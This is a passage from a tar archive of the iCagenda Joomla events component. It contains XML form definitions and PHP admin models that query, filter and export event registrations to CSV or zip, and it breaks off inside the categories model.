com_icagenda/models/forms/customfield.xml000060400000010221152455305270014606 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_icagenda/models/fields">
		<field
			name="id"
			type="text"
			class="readonly"
			label="JGLOBAL_FIELD_ID_LABEL"
			description ="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
			/>
		<field
			name="state"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="span12 small"
			filter="intval"
			size="1"
			default="1"
			>
				<option value="1">JPUBLISHED</option>
				<option value="0">JUNPUBLISHED</option>
		</field>
		<field
			name="title"
			type="text"
			label="COM_ICAGENDA_CUSTOMFIELD_TITLE_LBL"
			description="COM_ICAGENDA_CUSTOMFIELD_TITLE_DESC"
			size="30"
			required="true"
			/>
		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			/>
		<field
			name="slug"
			type="text"
			label="COM_ICAGENDA_CUSTOMFIELD_SLUG_LBL"
			description="COM_ICAGENDA_CUSTOMFIELD_SLUG_DESC"
			/>
		<field
			name="description"
			type="editor"
			buttons="readmore,pagebreak"
			class="inputbox"
			filter="JComponentHelper::filterText"
			label="COM_ICAGENDA_CUSTOMFIELD_DESCRIPTION_LBL"
			description="COM_ICAGENDA_CUSTOMFIELD_DESCRIPTION_DESC"
			/>
		<field
			name="parent_form"
			type="list"
			filter="intval"
			required="true"
			label="COM_ICAGENDA_CUSTOMFIELD_PARENT_FORM_LBL"
			description="COM_ICAGENDA_CUSTOMFIELD_PARENT_FORM_DESC"
			default=""
			>
				<option value="">COM_ICAGENDA_CUSTOMFIELD_PARENT_SELECT</option>
				<option value="1">COM_ICAGENDA_CUSTOMFIELD_PARENT_REGISTRATION_FORM</option>
				<option value="2">COM_ICAGENDA_CUSTOMFIELD_PARENT_EVENT_EDIT</option>
		</field>
		<field
			name="type"
			type="list"
			required="true"
			label="COM_ICAGENDA_CUSTOMFIELD_TYPE_LBL"
			description="COM_ICAGENDA_CUSTOMFIELD_TYPE_DESC"
			default=""
			>
				<option value="">COM_ICAGENDA_CUSTOMFIELD_TYPE_SELECT</option>
				<option value="text">COM_ICAGENDA_CUSTOMFIELD_TYPE_TEXT</option>
				<option value="list">COM_ICAGENDA_CUSTOMFIELD_TYPE_LIST</option>
				<option value="radio">COM_ICAGENDA_CUSTOMFIELD_TYPE_RADIO</option>
		</field>
		<field
			name="options"
			type="textarea"
			label="COM_ICAGENDA_CUSTOMFIELD_OPTIONS_LBL"
			description="COM_ICAGENDA_CUSTOMFIELD_OPTIONS_DESC"
			/>
		<field
			name="default"
			type="text"
			label="COM_ICAGENDA_CUSTOMFIELD_DEFAULT_LBL"
			description="COM_ICAGENDA_CUSTOMFIELD_DEFAULT_DESC"
			/>
		<field
			name="required"
			type="radio"
			label="COM_ICAGENDA_CUSTOMFIELD_REQUIRED_LBL"
			description="COM_ICAGENDA_CUSTOMFIELD_REQUIRED_DESC"
			labelclass="control-label"
			class="btn-group"
			default="0"
			>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
		</field>
		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_ICAGENDA_CUSTOMFIELD_LANGUAGE_DESC"
			class="span12 small"
			>
				<option value="*">JALL</option>
		</field>
		<field
			name="created"
			type="calendar"
			label="JGLOBAL_FIELD_CREATED_LABEL"
			format="%Y-%m-%d %H:%M:%S"
			filter="user_utc"
			labelclass="control-label"
			/>
		<field
			name="created_by"
			type="user"
			label="JGLOBAL_FIELD_CREATED_BY_LABEL"
			description="JGLOBAL_FIELD_CREATED_BY_DESC"
			labelclass="control-label"
			/>
		<!-- created_by_alias to be removed ? Not really needed there... -->
		<field
			name="created_by_alias"
			type="text"
			label="JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL"
			description="JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC"
			class="inputbox"
			size="20"
			labelclass="control-label"
			/>
		<field
			name="modified"
			type="calendar"
			class="readonly"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			size="22"
			readonly="true"
			format="%Y-%m-%d %H:%M:%S"
			filter="user_utc"
			labelclass="control-label"
			/>
		<field
			name="modified_by"
			type="user"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			description="JGLOBAL_FIELD_MODIFIED_BY_DESC"
			class="readonly"
			readonly="true"
			filter="unset"
			labelclass="control-label"
			/>
		<field name="checked_out" type="hidden" filter="unset" />
		<field name="checked_out_time" type="hidden" filter="unset" />
	</fieldset>
</form>
com_icagenda/models/forms/feature.xml000060400000004256152455305270013736 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_icagenda/models/fields">

		<field
			name="id"
			type="text"
			class="readonly"
			label="JGLOBAL_FIELD_ID_LABEL"
			description ="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="title"
			type="text"
			label="COM_ICAGENDA_FORM_FEATURE_TITLE_LABEL"
			description="COM_ICAGENDA_FORM_FEATURE_TITLE_DESC"
			size="30"
			required="true"
		/>

		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
		/>

		<field
			name="icon"
			type="imagelist"
			directory="images/icagenda/feature_icons/16_bit"
			exclude="\.(?:html|htm)$"
			hide_none="false"
			hide_default="true"
			label="COM_ICAGENDA_FORM_FEATURE_ICON_LABEL"
			description="COM_ICAGENDA_FORM_FEATURE_ICON_DESC"
			required="false"
		/>

		<field
			name="new_icon"
			type="media"
			label="COM_ICAGENDA_FORM_FEATURE_NEW_ICON_LABEL"
			description="COM_ICAGENDA_FORM_FEATURE_NEW_ICON_LABEL"
			filter="safehtml"
		/>

		<field
			name="icon_alt"
			type="text"
			label="COM_ICAGENDA_FORM_FEATURE_ICON_ALT_LABEL"
			description="COM_ICAGENDA_FORM_FEATURE_ICON_ALT_DESC"
			size="30"
			required="false"
		/>

		<field
			name="show_filter"
			type="radio"
			class="btn-group"
			default="1"
			label="COM_ICAGENDA_FORM_FEATURE_SHOW_FILTER_LABEL"
			description="COM_ICAGENDA_FORM_FEATURE_SHOW_FILTER_DESC">
				<option value="0">JNO</option>
				<option value="1">JYES</option>
		</field>

		<field
			name="desc"
			type="editor"
			buttons="readmore,pagebreak"
			class="inputbox"
			filter="JComponentHelper::filterText"
			label="COM_ICAGENDA_FORM_FEATURE_DESCRIPTION_LABEL"
			description="COM_ICAGENDA_FORM_FEATURE_DESCRIPTION_DESC"
		/>

		<field
			name="state"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="span12 small"
			filter="intval"
			size="1"
			default="1">
				<option value="1">JPUBLISHED</option>
				<option value="0">JUNPUBLISHED</option>
		</field>

		<field name="checked_out" type="hidden" filter="unset" />
		<field name="checked_out_time" type="hidden" filter="unset" />

	</fieldset>
</form>
com_icagenda/models/forms/mail.xml000060400000001511152455305270013214 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="eventid"
			type="modal_evt"
			label="ICEVENT"
			description =" "
			class="inputbox"
			size="10"
			default="0"
			/>
		<field
			name="date"
			type="modal_evt_date"
			size="30"
			class="inputbox"
			label="COM_ICAGENDA_REGISTRATION_DATE"
			description=" "
			filter="safehtml"
			/>
		<field
			name="subject"
			type="text"
			size="40"
			class="inputbox input-xxlarge"
			label="COM_ICAGENDA_FORM_LBL_NEWSLETTER_OBJ"
			description="COM_ICAGENDA_FORM_DESC_NEWSLETTER_OBJ"
			/>
		<field
			name="message"
			type="editor"
			class="inputbox"
			buttons="readmore,pagebreak"
			label="COM_ICAGENDA_FORM_LBL_NEWSLETTER_BODY"
			description="COM_ICAGENDA_FORM_DESC_NEWSLETTER_BODY"
			cols="70"
			rows="20"
			filter="safehtml"
			/>
	</fieldset>
</form>
com_icagenda/models/forms/category.xml000060400000003005152455305270014107 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<!--fields addfieldpath="/administrator/components/com_icagenda/models/fields"-->
	<fieldset addfieldpath="/administrator/components/com_icagenda/models/fields">
		<field
			name="id"
			type="text"
			class="readonly"
			label="JGLOBAL_FIELD_ID_LABEL"
			description ="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
 			name="title"
 			type="text"
 			label="COM_ICAGENDA_FORM_LBL_CATEGORY_TITLE"
			description="COM_ICAGENDA_FORM_DESC_CATEGORY_TITLE"
			size="30"
			required="true"
		/>

		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
		/>

		<field
			name="color"
			type="color"
			size="40"
			class="inputbox"
			label="COM_ICAGENDA_FORM_LBL_CATEGORY_COLOR"
			description="COM_ICAGENDA_FORM_DESC_CATEGORY_COLOR"
			default="#bdbdbd"
		/>

		<field
			name="desc"
			type="editor"
			buttons="readmore,pagebreak"
			class="inputbox"
			filter="JComponentHelper::filterText"
			label="COM_ICAGENDA_FORM_LBL_EVENT_DESC"
			description="COM_ICAGENDA_FORM_DESC_EVENT_DESC"
		/>

		<field
			name="state"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="span12 small"
			filter="intval"
			size="1"
			default="1">
				<option value="1">JPUBLISHED</option>
				<option value="0">JUNPUBLISHED</option>
		</field>

		<field name="checked_out" type="hidden" filter="unset" />
		<field name="checked_out_time" type="hidden" filter="unset" />

	</fieldset>
</form>
com_icagenda/models/registrations.php000060400000051150152455305270014034 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.12 2015-09-22
 * @since		2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modellist');

/**
 * Methods supporting a list of iCagenda records.
 */
class iCagendaModelregistrations extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param	array			An optional associative array of configuration settings.
	 * @see		JController
	 * @since	1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'ordering', 'a.ordering',
				'userid', 'userid',
				'name', 'name',
				'username', 'username',
				'email', 'email',
				'phone', 'phone',
				'event', 'event',
				'date', 'a.date',
				'startdate', 'e.startdate',
				'people', 'a.people',
				'notes', 'a.notes',
				'evt_created_by', 'a.evt_created_by'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		// Initialise variables.
		$app = JFactory::getApplication('administrator');

		// Load the filter search.
		$search = $app->getUserStateFromRequest($this->context.'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		// Filter (dropdown) state.
		$published = $app->getUserStateFromRequest($this->context.'.filter.state', 'filter_published', '', 'string');
		$this->setState('filter.state', $published);

		// Filter (dropdown) categories
		$categories = $this->getUserStateFromRequest($this->context.'.filter.categories', 'filter_categories', '', 'string');
		$this->setState('filter.categories', $categories);

		// Filter (dropdown) events
		$events = $this->getUserStateFromRequest($this->context.'.filter.events', 'filter_events', '', 'string');
		$this->setState('filter.events', $events);

		// Filter (dropdown) dates
		$dates = $this->getUserStateFromRequest($this->context.'.filter.dates', 'filter_dates', '', 'string');
		$this->setState('filter.dates', $dates);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_icagenda');
		$this->setState('params', $params);

		// List state information.
		parent::populateState('a.id', 'desc');
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param	string		$id	A prefix for the store id.
	 * @return	string		A store id.
	 * @since	1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id.= ':' . $this->getState('filter.search');
		$id.= ':' . $this->getState('filter.state');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return	JDatabaseQuery
	 * @since	1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db		= $this->getDbo();
		$query	= $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.*'
			)
		);
		$query->from('`#__icagenda_registration` AS a');

		// Join over the events.
		$query->select('e.title AS event, e.created_by AS evt_created_by, e.state AS evt_state,
						e.startdate AS startdate, e.enddate AS enddate, e.displaytime AS displaytime');
		$query->join('LEFT', '#__icagenda_events AS e ON e.id=a.eventid');

		// Join over the categories.
		$query->select('c.id AS cat_id, c.title AS cat_title');
		$query->join('LEFT', '#__icagenda_category AS c ON c.id=e.catid');

		// Join over the users for the checked out user.
		$query->select('u.username AS username, u.name AS fullname');
		$query->join('LEFT', '#__users AS u ON u.id=a.userid');

		// Join over the users for the author.
		$query->select('ua.name AS author_name, ua.username AS author_username')
			->join('LEFT', '#__users AS ua ON ua.id = a.created_by');

		// Filter by published state
		$published = $this->getState('filter.state');

		if (is_numeric($published))
		{
			$query->where('a.state = '.(int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.state IN (0, 1))');
		}

		// Filter by edit access
		if ( ! JFactory::getUser()->authorise('core.edit', 'com_icagenda')
			&& JFactory::getUser()->authorise('core.edit.own', 'com_icagenda'))
		{
			$userID = JFactory::getUser()->get('id');
			$query->where('a.userid = ' . (int) $userID);
		}

		// Filter by search in content
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = '.(int) substr($search, 3));
			}
			else
			{
				if(version_compare(JVERSION, '3.0', 'lt'))
				{
					$search = $db->Quote('%'.$db->getEscaped($search, true).'%');
				}
				else
				{
					$search = $db->Quote('%'.$db->escape($search, true).'%');
				}
				$query->where('(u.username LIKE '.$search.'  OR  a.name LIKE '.$search.'  OR  a.userid LIKE '.$search.'  OR  a.email LIKE '.$search.'  OR  a.phone LIKE '.$search.'  OR  a.date LIKE '.$search.'  OR  a.period LIKE '.$search.'  OR  a.people LIKE '.$search.'  OR  a.notes LIKE '.$search.'  OR  e.title LIKE '.$search.' )');
			}
		}

		// Filter categories
		$category = $db->escape($this->getState('filter.categories'));

		if (!empty($category))
		{
			$query->where('(c.id=' . $db->q($category) . ')');
		}

		// Filter events
		$event = $db->escape($this->getState('filter.events'));

		if (!empty($event))
		{
			$query->where('(a.eventid=' . $db->q($event) . ')');
		}

		// Filter dates
		$date = $db->escape($this->getState('filter.dates'));

		if (!empty($date) && ! in_array($date, array('1', '2')))
		{
			$query->where($db->qn('a.date') . ' = ' . $db->q($date));
		}
		elseif ($date == 1)
		{
			$query->where($db->qn('a.date') . ' = ""');
			$query->where($db->qn('a.period') . ' = "0"');
		}
		elseif ($date == 2)
		{
			$query->where($db->qn('a.date') . ' = ""');
			$query->where($db->qn('a.period') . ' = "1"');
		}

		// Add the list ordering clause.
		$orderCol	= $this->state->get('list.ordering');
		$orderDirn	= $this->state->get('list.direction');

		if ($orderCol && $orderDirn)
		{
			if (version_compare(JVERSION, '3.0', 'lt'))
			{
				if ($orderCol == 'a.date')
				{
					$query->order($db->getEscaped($db->qn('a.period') . ' ' . $orderDirn));
				}

				$query->order($db->getEscaped($orderCol . ' ' . $orderDirn));
			}
			else
			{
				if ($orderCol == 'a.date')
				{
					$query->order($db->escape($db->qn('a.period') . ' ' . $orderDirn));
				}

				$query->order($db->escape($orderCol . ' ' . $orderDirn));
			}
		}

		return $query;
	}

	/**
	 * Gets a list of categories.
	 */
	function getCategories()
	{
		// Create a new query object.
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);

		// Select the required fields from the table.
		$query->select('c.id AS cat_id, c.title AS cat_title');
		$query->from('`#__icagenda_category` AS c');

		// Join over the events.
		$query->select('e.id AS id');
		$query->join('LEFT', '#__icagenda_events AS e ON e.catid=c.id');

		// Join over the registrations.
		$query->select('r.eventid AS event_id');
		$query->join('LEFT', '#__icagenda_registration AS r ON r.eventid=e.id');
		$query->where('(e.id = r.eventid)');
		$query->order('c.ordering ASC');

		$db->setQuery($query);
		$categories = $db->loadObjectList();

		$list = array();

		foreach ($categories as $c)
		{
			$list[$c->cat_id] = $c->cat_title . ' [' . $c->cat_id . ']';
		}

		return $list;
	}

	/**
	 * Gets a list of all events.
	 */
	function getEvents()
	{
		// Create a new query object.
		$db		= JFactory::getDBO();
		$query	= $db->getQuery(true);

		// Select the required fields from the table.
		$query->select('e.id AS event, e.title AS title');
		$query->from('`#__icagenda_events` AS e');

		// Join over the categories.
		$query->select('c.id AS cat_id, c.title AS cat_title');
		$query->join('LEFT', '#__icagenda_category AS c ON c.id=e.catid');

		// Join over the registrations.
		$query->select('r.eventid AS eventid');
		$query->join('LEFT', '#__icagenda_registration AS r ON r.eventid=e.id');
		$query->where('(e.id = r.eventid)');
		$query->order('e.title ASC');

		// Filter by published state
//		$query->where('(e.state IN (0, 1))');

		$db->setQuery($query);
		$events = $db->loadObjectList();

		$list = array();

		$catId = $db->escape($this->getState('filter.categories'));

		foreach ($events as $e)
		{
			if ( ! empty($catId) && $catId == $e->cat_id)
			{
				$list[$e->event] = $e->title . ' [' . $e->event . ']';
			}
			elseif (empty($catId))
			{
				$list[$e->event] = $e->title . ' [' . $e->event . ']';
			}
//			$list[$e->event] = $e->title . ' [' . $e->event . ']';
		}

		return $list;
	}

	/**
	 * Gets a list of dates.
	 */
	function getDates()
	{
		$params			= $this->getState('params');
		$dateFormat		= $params->get('date_format_global', 'Y - m - d');
		$dateSeparator	= $params->get('date_separator', ' ');
		$timeFormat		= ($params->get('timeformat', '1') == 1) ? 'H:i' : 'h:i A';

		// Create a new query object.
		$db		= JFactory::getDBO();
		$query	= $db->getQuery(true);

		// Select the required fields from the table.
		$query->select('r.date AS date, r.period AS period, r.eventid AS eventid');
		$query->from('`#__icagenda_registration` AS r');

		// Join over the events (period).
		$query->select('e.startdate AS startdate, e.enddate AS enddate, e.displaytime AS displaytime');
		$query->join('LEFT', '#__icagenda_events AS e ON e.id=r.eventid');

		$db->setQuery($query);
		$dates = $db->loadObjectList();

		$list = array();

		$eventId = $db->escape($this->getState('filter.events'));

		$p = $e = 0;

		// Add to select dropdown the filters 'For all dates of the event' and/or 'For all the period',
		// depending of registrations in data, and selected event
		foreach ($dates as $d)
		{
//			$date	= (empty($d->date) && $d->period == 0)
//					? '[ ' . ucfirst(JText::_('COM_ICAGENDA_ADMIN_REGISTRATION_FOR_ALL_PERIOD')) . ' ]'
//					: '';
			$period	= (empty($d->date) && $d->period == 1)
					? '[ ' . ucfirst(JText::_('COM_ICAGENDA_ADMIN_REGISTRATION_FOR_ALL_DATES')) . ' ]'
					: '';

			if (empty($d->date)
				&& $d->period == 1
				&& $e == 0
				)
			{
				if ( ! empty($eventId) && $eventId == $d->eventid)
				{
					$e = $e+1;
					$list[2] = $period;
				}
				elseif (empty($eventId))
				{
					$e = $e+1;
					$list[2] = $period;
				}
			}
		}

		// Add to select dropdown the list of dates,
		// depending of registrations in data, and selected event
		foreach ($dates as $d)
		{
			$date = '';

			if (empty($d->date) && $d->period == 0)
			{
				if ( ! empty($eventId) && $eventId == $d->eventid)
				{
					if (iCDate::isDate($d->startdate))
					{
						$date = iCGlobalize::dateFormat($d->startdate, $dateFormat, $dateSeparator);

						if ($d->displaytime)
						{
							$date.= ' - ' . date($timeFormat, strtotime($d->startdate));
						}
					}
					if (iCDate::isDate($d->enddate))
					{
						$date.= ' > ' . iCGlobalize::dateFormat($d->enddate, $dateFormat, $dateSeparator);

						if ($d->displaytime)
						{
							$date.= ' - ' . date($timeFormat, strtotime($d->enddate));
						}
					}
				}
				else
				{
					$date = '[ ' . ucfirst(JText::_('COM_ICAGENDA_ADMIN_REGISTRATION_FOR_ALL_PERIOD')) . ' ]';
				}
			}
			else
			{
				$date	= iCDate::isDate($d->date)
						? JHtml::date($d->date, JText::_('DATE_FORMAT_LC3'), null) . ' - ' . date('H:i', strtotime($d->date))
						: $d->date;
			}

			$display_date = ($date != '0000-00-00 00:00:00' && $d->date) ? true : false;

			if ($display_date
				&& ! empty($eventId)
				&& $eventId == $d->eventid
				)
			{
				$list[$d->date] = $date;
			}
			elseif ($display_date
				&& empty($eventId)
				)
			{
				$list[$d->date] = $date;
			}

			if (empty($d->date)
				&& $d->period == 0
				&& $p == 0
				)
			{
				if ( ! empty($eventId) && $eventId == $d->eventid)
				{
					$p = $p+1;
					$list[1] = $date;
				}
				elseif (empty($eventId))
				{
					$p = $p+1;
					$list[1] = $date;
				}
			}
		}

		return $list;
	}
	/**
	 * Get file name
	 *
	 * @return  string    The file name
	 *
	 * @since   1.6
	 */
	public function getBaseName()
	{
		if (!isset($this->basename))
		{
			$app = JFactory::getApplication();
			$basename = $this->getState('basename');
			$basename = str_replace('__SITE__', $app->getCfg('sitename'), $basename);

			$eventId = $this->getState('filter.events');

			if (is_numeric($eventId))
			{
				$basename = str_replace('__EVENTID__', $eventId, $basename);
				$basename = str_replace('__EVENT__', $this->getEventTitle($eventId), $basename);
			}
			else
			{
				$basename = str_replace('__EVENTID__', '', $basename);
				$basename = str_replace('__EVENT__', '', $basename);
			}

			$date = $this->getState('filter.dates');

			if (!empty($date))
			{
				if (iCDate::isDate($date))
				{
					$basename = str_replace('__DATE__', JHtml::date($date, JText::_('DATE_FORMAT_LC3'), null)
											. ' - ' . date('H:i', strtotime($date)),
											$basename);
				}
				else
				{
					$basename = str_replace('__DATE__', $date, $basename);
				}
			}
			else
			{
				$basename = str_replace('__DATE__', '', $basename);
			}

			$this->basename = $basename;
		}

		return $this->basename;
	}

	/**
	 * Get the event title.
	 *
	 * @return  string    The event title
	 *
	 * @since   3.5.0
	 */
	protected function getEventTitle()
	{
		$eventId = $this->getState('filter.events');

		if ($eventId)
		{
			$db = $this->getDbo();
			$query = $db->getQuery(true)
				->select('title')
				->from($db->quoteName('#__icagenda_events'))
				->where($db->quoteName('id') . '=' . $db->quote($eventId));
			$db->setQuery($query);

			try
			{
				$title = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}
		}
		else
		{
			$title = JText::_('COM_ICAGENDA_NO_EVENT_TITLE');
		}

		return $title;
	}

	/**
	 * Get the status name.
	 *
	 * @return  string    The status name
	 *
	 * @since   3.5.0
	 */
	protected function getStatusName($status)
	{
		$status_array = JHtml::_('jgrid.publishedOptions');

		foreach ($status_array AS $key => $name)
		{
			if ($status == $name->value)
			{
				$status_name = $name->text;
			}
		}

		return JText::_($status_name);
	}

	/**
	 * Get the file type.
	 *
	 * @return  string    The file type
	 *
	 * @since   3.5.0
	 */
	public function getFileType()
	{
		return $this->getState('compressed') ? 'zip' : 'csv';
	}

	/**
	 * Get the mime type.
	 *
	 * @return  string    The mime type.
	 *
	 * @since   3.5.0
	 */
	public function getMimeType()
	{
		return $this->getState('compressed') ? 'application/zip' : 'text/csv';
	}

	/**
	 * Get the separator for values.
	 *
	 * @return  string    The separator.
	 *
	 * @since   3.5.9
	 */
	public function getSeparator()
	{
		return ($this->getState('separator') == 1) ? "," : ";";
	}

	/**
	 * Get the content
	 *
	 * @return  string    The content.
	 *
	 * @since   3.5.0
	 */
	public function getContent()
	{
		if (!isset($this->content))
		{
			$separator = $this->getSeparator();

			foreach ($this->getItems() as $item)
			{
				// Adds filled custom fields
				$customfields = icagendaCustomfields::getList($item->id, 1);

 				$header_cfs	= array();

				if ($customfields)
				{
					foreach ($customfields AS $customfield)
					{
						$header_cfs[]= $customfield->cf_title;
					}
				}
			}

			// Add BOM UTF-8 to csv content
			$this->content	= chr(239) . chr(187) . chr(191);

			$this->content .= '"';

			if ($this->getState('event_title'))
			{
				$this->content .= str_replace('"', '""', JText::_('COM_ICAGENDA_REGISTRATION_EVENTID')) . '"';
			}
			else
			{
				$this->content .= '#' . '"';
			}

			if ($this->getState('date'))
			{
				$this->content .= $separator . '"' . str_replace('"', '""', JText::_('COM_ICAGENDA_REGISTRATION_DATE')) . '"';
			}

			if ($this->getState('tickets'))
			{
				$this->content .= $separator . '"' . str_replace('"', '""', JText::_('COM_ICAGENDA_REGISTRATION_TICKETS')) . '"';
			}

			if ($this->getState('name'))
			{
				$this->content .= $separator . '"' . str_replace('"', '""', JText::_('IC_NAME')) . '"';
			}

			if ($this->getState('email'))
			{
				$this->content .= $separator . '"' . str_replace('"', '""', JText::_('COM_ICAGENDA_REGISTRATION_EMAIL')) . '"';
			}

			if ($this->getState('phone'))
			{
				$this->content .= $separator . '"' . str_replace('"', '""', JText::_('COM_ICAGENDA_REGISTRATION_PHONE')) . '"';
			}

			if ($this->getState('customfields'))
			{
				foreach ($header_cfs AS $header)
				{
					$this->content .= $separator . '"' . str_replace('"', '""', $header) . '"';
				}
			}

			if ($this->getState('notes'))
			{
				$this->content .= $separator . '"' . str_replace('"', '""', JText::_('COM_ICAGENDA_REGISTRATION_NOTES_DISPLAY_LABEL')) . '"';
			}

			if ($this->getState('status'))
			{
				$this->content .= $separator . '"' . str_replace('"', '""', JText::_('JSTATUS')) . '"';
			}

			$this->content .= "\n";

			// Data Rows
			$n = 0;

			foreach ($this->getItems() as $item)
			{
				// Adds filled custom fields
				$customfields = icagendaCustomfields::getList($item->id, 1);

 				$values_cfs	= array();

				if ($customfields)
				{
					foreach ($customfields AS $customfield)
					{
						$cf_value = isset($customfield->cf_value) ? $customfield->cf_value : JText::_('IC_NOT_SPECIFIED');
						$values_cfs[]= $cf_value;
					}
				}

				$this->content .= '"';

				if ($this->getState('event_title'))
				{
					$this->content .= str_replace('"', '""', $item->event) . '"';
				}
				else
				{
					$n = $n + 1;
					$this->content .= $n . '"';
				}

				if ($this->getState('date'))
				{
					$this->content .= $separator . '"' .
						str_replace('"', '""', ($item->period == 1 ? JText::_('COM_ICAGENDA_REGISTRATION_ALL_DATES') : $item->date)) . '"';
				}

				if ($this->getState('tickets'))
				{
					$this->content .= $separator . '"' . str_replace('"', '""', $item->people) . '"';
				}

				if ($this->getState('name'))
				{
					$this->content .= $separator . '"' . str_replace('"', '""', $item->name) . '"';
				}

				if ($this->getState('email'))
				{
					$this->content .= $separator . '"' . str_replace('"', '""', $item->email) . '"';
				}

				if ($this->getState('phone'))
				{
					$this->content .= $separator . '"' . str_replace('"', '""', $item->phone) . '"';
				}

				if ($this->getState('customfields'))
				{
					foreach ($values_cfs AS $value)
					{
						$this->content .= $separator . '"' . str_replace('"', '""', $value) . '"';
					}
				}

				if ($this->getState('notes'))
				{
					$this->content .= $separator . '"' . str_replace('"', '""', $item->notes) . '"';
				}

				if ($this->getState('status'))
				{
					$this->content .= $separator . '"' . str_replace('"', '""', $this->getStatusName($item->state)) . '"';
				}

				$this->content .= "\n";
			}

			if ($this->getState('compressed'))
			{
				$app = JFactory::getApplication('administrator');

				$this->content = str_replace(CHR(13).CHR(10), " ", $this->content);

				$files = array();
				$files['registrations'] = array();
				$files['registrations']['name'] = $this->getBasename() . '.csv';
				$files['registrations']['data'] = $this->content;
				$files['registrations']['time'] = time();
				$ziproot = $app->get('tmp_path') . '/' . uniqid('icagenda_registrations_') . '.zip';

				// Run the packager
				jimport('joomla.filesystem.folder');
				jimport('joomla.filesystem.file');
				$delete = JFolder::files($app->get('tmp_path') . '/', uniqid('icagenda_registrations_'), false, true);

				if (!empty($delete))
				{
					if (!JFile::delete($delete))
					{
						// JFile::delete throws an error
						$this->setError(JText::_('COM_ICAGENDA_EXPORT_ERR_ZIP_DELETE_FAILURE'));

						return false;
					}
				}

				if (!$packager = JArchive::getAdapter('zip'))
				{
					$this->setError(JText::_('COM_ICAGENDA_EXPORT_ERR_ZIP_ADAPTER_FAILURE'));

					return false;
				}
				elseif (!$packager->create($ziproot, $files))
				{
					$this->setError(JText::_('COM_ICAGENDA_EXPORT_ERR_ZIP_CREATE_FAILURE'));

					return false;
				}

				$this->content = file_get_contents($ziproot);
			}
		}

		return $this->content;
	}
}
com_icagenda/models/categories.php000060400000010576152455305270013273 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.0 2013-07-03
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modellist');

/**
 * Methods supporting a list of iCagenda records.
 */
class iCagendaModelcategories extends JModelList
{

    /**
     * Constructor.
     *
     * @param    array    An optional associative array of configuration settings.
     * @see        JController
     * @since    1.6
     */
    public function __construct($config = array())
    {
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = array(
                'id', 'a.id',
                'ordering', 'a.ordering',
                'state', 'a.state',
                'title', 'a.title',
                'color', 'a.color',
                'desc', 'a.desc',

            );
        }

        parent::__construct($config);
    }


	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		// Initialise variables.
		$app = JFactory::getApplication('administrator');

		// Load the filter state.
